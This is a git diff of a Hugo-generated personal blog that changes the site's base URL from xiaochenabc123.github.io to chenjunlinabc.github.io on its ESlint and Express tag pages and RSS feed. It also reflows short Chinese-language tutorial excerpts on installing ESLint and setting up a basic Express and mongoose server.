index 026ec1c1..9ee697d1 100644
--- a/tags/eslint/index.html
+++ b/tags/eslint/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>ESlint | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/eslint/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/eslint/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="ESlint"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/eslint/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="ESlint"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>ESlint</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESlint代码风格校验工具</h2></header><div class=entry-content><p>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>ESlint | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/eslint/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/eslint/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="ESlint"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/eslint/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="ESlint"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>ESlint</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用ESlint代码风格校验工具</h2></header><div class=entry-content><p>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
 安装ESlint
 npm install eslint –save-dev
 或者全局安装
@@ -14,7 +14,7 @@
 “off” or 0 ：关闭规则
 “warn” or 1 ：将规则视为一个警告
 “error” or 2 ：将规则视为一个错误
-可以设置规范，只能使用单引号，tab缩进等等编写规范</p></div><footer class=entry-footer><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESlint代码风格校验工具" href=https://xiaochenabc123.github.io/posts/111/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+可以设置规范，只能使用单引号，tab缩进等等编写规范</p></div><footer class=entry-footer><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESlint代码风格校验工具" href=https://chenjunlinabc.github.io/posts/111/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/eslint/index.xml b/tags/eslint/index.xml
index e434449a..aa818551 100644
--- a/tags/eslint/index.xml
+++ b/tags/eslint/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>ESlint on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/eslint/</link>
+    <link>https://chenjunlinabc.github.io/tags/eslint/</link>
     <description>Recent content in ESlint on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 23 Sep 2021 10:06:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/eslint/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 23 Sep 2021 10:06:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/eslint/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用ESlint代码风格校验工具</title>
-      <link>https://xiaochenabc123.github.io/posts/111/</link>
+      <link>https://chenjunlinabc.github.io/posts/111/</link>
       <pubDate>Thu, 23 Sep 2021 10:06:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/111/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/111/</guid>
       <description>ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）
 安装ESlint
 npm install eslint &amp;ndash;save-dev
diff --git a/tags/eslint/page/1/index.html b/tags/eslint/page/1/index.html
index 5d069035..03ae8396 100644
--- a/tags/eslint/page/1/index.html
+++ b/tags/eslint/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/eslint/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/eslint/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/eslint/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/eslint/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/eslint/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/eslint/"></head></html>
\ No newline at end of file
diff --git a/tags/express/index.html b/tags/express/index.html
index 0e31de31..16633f35 100644
--- a/tags/express/index.html
+++ b/tags/express/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Express | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/express/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/express/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Express"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/express/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Express"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Express</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Express-Web应用框架</h2></header><div class=entry-content><p>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Express | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/express/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/express/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Express"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/express/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Express"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Express</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Express-Web应用框架</h2></header><div class=entry-content><p>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
 安装
 npm install express –save
 或者安装express-generator脚手架
@@ -11,12 +11,7 @@
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require("express")
-const app = express()
-app.get('/',function(req,res){ res.end("hallo world!")
-})
-app.listen(3000)
-运行
+const express = require("express") const app = express() app.get('/',function(req,res){ res.end("hallo world!") }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
@@ -27,18 +22,7 @@
 app.use(require(‘cors’)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require('mongoose')
-mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})
-const testdb = mongoose.model('testdb',new mongoose.Schema({
-_id: Number,
-title: String
-}))
-/*testdb.inserMany([
-{_id: 1, title: "abc"},
-{_id: 2, title: "xyz"}
-{_id: 3, title: "abcxyz"}
-])*/
-app....</p></div><footer class=entry-footer><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Express-Web应用框架" href=https://xiaochenabc123.github.io/posts/138/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+const mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: "abc"}, {_id: 2, title: "xyz"} {_id: 3, title: "abcxyz"} ])*/ app....</p></div><footer class=entry-footer><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Express-Web应用框架" href=https://chenjunlinabc.github.io/posts/138/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
